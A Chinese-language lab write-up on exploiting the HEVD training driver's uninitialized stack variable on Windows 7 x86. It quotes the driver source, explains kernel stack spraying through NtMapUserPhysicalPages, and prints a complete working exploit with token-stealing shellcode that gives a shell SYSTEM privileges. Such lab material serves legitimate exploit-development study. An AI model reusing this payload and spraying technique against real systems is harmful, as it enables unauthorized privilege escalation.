漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]

作者selph

前言

窥探Ring0漏洞世界：未初始化栈变量漏洞

上一篇探讨了空指针解引用漏洞的利用，这里来探讨另一种漏洞，未初始化栈变量漏洞，未初始化变量本身是没啥事的，但如果这个变量结构里存储了会拿出来执行的东西（回调函数啥的），那就是另一回事了

实验环境：

•虚拟机：Windows 7 x86

•物理机：Windows 10 x64

•软件：IDA，Windbg，VS2022

漏洞分析

老样子，先IDA找到该漏洞的触发函数TriggerUninitializedMemoryStack，分析函数是如何存在漏洞的

首先是取出了用户提供的指针里的值，保存到ebx：

然后紧接着判断该值是否为魔数0BAD0B0B0h，是的话，就将该值和一个函数地址保存到了栈中一个结构体里，如果不是的话，则不进行操作，然后进行判断，判断栈中的这个变量是否有值，如果有值，且为固定这个函数的地址的话，就执行这个函数

如果该位置有值，且不是固定函数地址的话，就去把这个值当函数去调用：

驱动源码：

///

/// Trigger the uninitialized memory in Stack Vulnerability ///

///The pointer to user mode buffer /// NTSTATUS NTSTATUS TriggerUninitializedMemoryStack( _In_ PVOID UserBuffer ) {     ULONG UserValue = 0;     ULONG MagicValue = 0xBAD0B0B0;    NTSTATUS Status = STATUS_SUCCESS; #ifdef SECURE     //     // Secure Note: This is secure because the developer is properly initializing     // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling     // the callback     //    UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 }; #else     //     // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability     // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure     // before calling the callback when 'MagicValue' does not match 'UserValue'     //    UNINITIALIZED_MEMORY_STACK UninitializedMemory; #endif    PAGED_CODE();     __try     {        //        // Verify if the buffer resides in user mode        //        ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));        //        // Get the value from user mode        //        UserValue = *(PULONG)UserBuffer;        DbgPrint("[+] UserValue: 0x%p\n", UserValue);         DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);        //        // Validate the magic value        //        if (UserValue == MagicValue) {            UninitializedMemory.Value = UserValue;            UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;         }        DbgPrint("[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);        DbgPrint("[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback); #ifndef SECURE        DbgPrint("[+] Triggering Uninitialized Memory in Stack\n"); #endif        //        // Call the callback function        //        if (UninitializedMemory.Callback)         {            UninitializedMemory.Callback();         }     }    __except (EXCEPTION_EXECUTE_HANDLER)     {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X\n", Status);     }    return Status; }

可见，这里的安全版本和不安全版本的区别仅在是否初始化了局部变量，其实不初始化似乎也没啥问题，这里出问题的关键在于该变量中保存了回调函数，然后还被调用了，从而导致了漏洞

如果输入的是错误的值（非魔数），且能控制回调地址，就能执行shellcode。

漏洞利用

​那么问题来了，要如何去控制回调地址呢？未初始化的局部变量会保存在栈中，且值是不可预测的，栈中存的是什么值那变量就是什么值

参考[1]，控制栈中的值，需要做这些准备：

1.找到内核栈初始化地址

2.找到回调地址所在内核栈初始化地址的偏移量

3.通过在用户模式下用户可控输入喷射内核栈（参考资料[2]）

内核栈喷射

根据参考资料[2]，有一个未文档化的函数NtMapUserPhysicalPages可以喷射一大块数据到内核栈里：

NTSTATUS NtMapUserPhysicalPages (    __in PVOID VirtualAddress,    __in ULONG_PTR NumberOfPages,   __in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray  ) (...)  ULONG_PTR StackArray[COPY_STACK_SIZE]; // COPY_STACK_SIZE = 1024

这里头有一片栈空间的缓冲区数组，大小是1024*sizeof(ULONG_PTR)

该函数最后，如果NumberOfPages变量不大于1024的话，会使用该栈缓冲区地址去调用：MiCaptureUlongPtrArray函数

PoolArea = (PVOID)&StackArray[0]; (...)   if (NumberOfPages > COPY_STACK_SIZE) {    PoolArea = ExAllocatePoolWithTag (NonPagedPool,                                      NumberOfBytes,                                       'wRmM');     if (PoolArea == NULL) {      return STATUS_INSUFFICIENT_RESOURCES;     }   } (...)   Status = MiCaptureUlongPtrArray (PoolArea,                                   UserPfnArray,                                   NumberOfPages);

使用IDA打开Windows7 x86内核文件ntkrnlpa查找该调用：

因为该函数是fastcall调用，在x86下fastcall调用会优先使用ecx和edx传参，多余的参数才使用栈，也就是说传递的参数依次是：NumberOfPages，UserPfnArray，栈缓冲区的地址

然后MiCaptureUlongPtrArray的实现如下：

int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3) { size_t v3; // ecx   v3 = 4 * a1;   if ( v3 )   {     if ( (a2 & 3) != 0 )      ExRaiseDatatypeMisalignment();     if ( v3 + a2 > MmUserProbeAddress || v3 + a2 < a2 )      *(_BYTE *)MmUserProbeAddress = 0;   }  memcpy(a3, (const void *)a2, v3);   return 0; }

NtMapUserPhysicalPages函数里将往栈缓冲区里填充用户传来的数据

到此，可以知道，只需要向调用NtMapUserPhysicalPages函数，提供第二个参数是大小，第三个参数是用户缓冲区，即可实现在栈中进行喷射，接下来进行编写exp实现利用

编写exp

还是用之前的模板改一改，通过函数可以实现对内核栈的提前布置，然后再用非魔数的输入去调用漏洞函数，使得未初始化的变量里填充的是我们布置的值，从而完成利用：

#include #include // Windows 7 SP1 x86 Offsets #define KTHREAD_OFFSET0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET    0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET         0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET       0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET       0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID         0x004 // SYSTEM Process PID typedef NTSTATUS(WINAPI* NtMapUserPhysicalPages_t)(IN PVOID         VirtualAddress,     IN ULONG_PTR      NumberOfPages,     IN OUT PULONG_PTR UserPfnArray); VOID TokenStealingPayloadWin7() {     // Importance of Kernel Recovery     __asm {        pushad         ;获取当前进程EPROCESS        xor eax, eax        mov eax, fs: [eax + KTHREAD_OFFSET]        mov eax, [eax + EPROCESS_OFFSET]        mov ecx, eax         ;搜索system进程EPROCESS        mov edx, SYSTEM_PID        SearchSystemPID :        mov eax, [eax + FLINK_OFFSET]            sub eax, FLINK_OFFSET            cmp[eax + PID_OFFSET], edx            jne SearchSystemPID            ; token窃取            mov edx, [eax + TOKEN_OFFSET]             mov[ecx + TOKEN_OFFSET], edx            ; 环境还原 + 返回            popad     } } int main() {     ULONG UserBufferSize = 1024*sizeof(ULONG_PTR);     PVOID EopPayload = &TokenStealingPayloadWin7;    HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);    PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);    //RtlFillMemory(UserBuffer, UserBufferSize, 'A');     for (int i = 0; i < UserBufferSize / sizeof(ULONG_PTR); i++){        UserBuffer[i] = (ULONG)EopPayload;     }     // 布置内核栈    NtMapUserPhysicalPages_t     NtMapUserPhysicalPages;    NtMapUserPhysicalPages = (NtMapUserPhysicalPages_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtMapUserPhysicalPages");    NtMapUserPhysicalPages(NULL, 1024, UserBuffer);     ULONG WriteRet = 0;    DeviceIoControl(hDevice, 0x22202f, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);    UserBuffer = NULL;    system("pause");    system("cmd.exe");    return 0; }

截图演示

参考资料

•[1] Windows Kernel Exploitation Tutorial Part 6: Uninitialized Stack Variable - rootkit (rootkits.xyz) https://rootkits.xyz/blog/2018/01/kernel-uninitialized-stack-variable/

•[2] nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques | j00ru//vx tech blog (vexillium.org) https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/

•[3] CVE-2016-0040 - DreamoneOnly - 博客园 (cnblogs.com) https://www.cnblogs.com/DreamoneOnly/p/13163036.html

•[4] HEVD Kernel Exploitation -- Uninitialized Stack & Heap (seebug.org) https://paper.seebug.org/200/

•[5] ヾ(Ő∀Ő3)ノ嘻嘻！[05] HEVD 内核漏洞之未初始化栈变量 | Saturn35 https://saturn35.com/2019/07/26/20190726-2/

•[6] C library function - memcpy() (tutorialspoint.com) https://www.tutorialspoint.com/c_standard_library/c_function_memcpy.htm

•[7] __fastcall | Microsoft Docs https://docs.microsoft.com/zh-cn/cpp/cpp/fastcall?view=msvc-170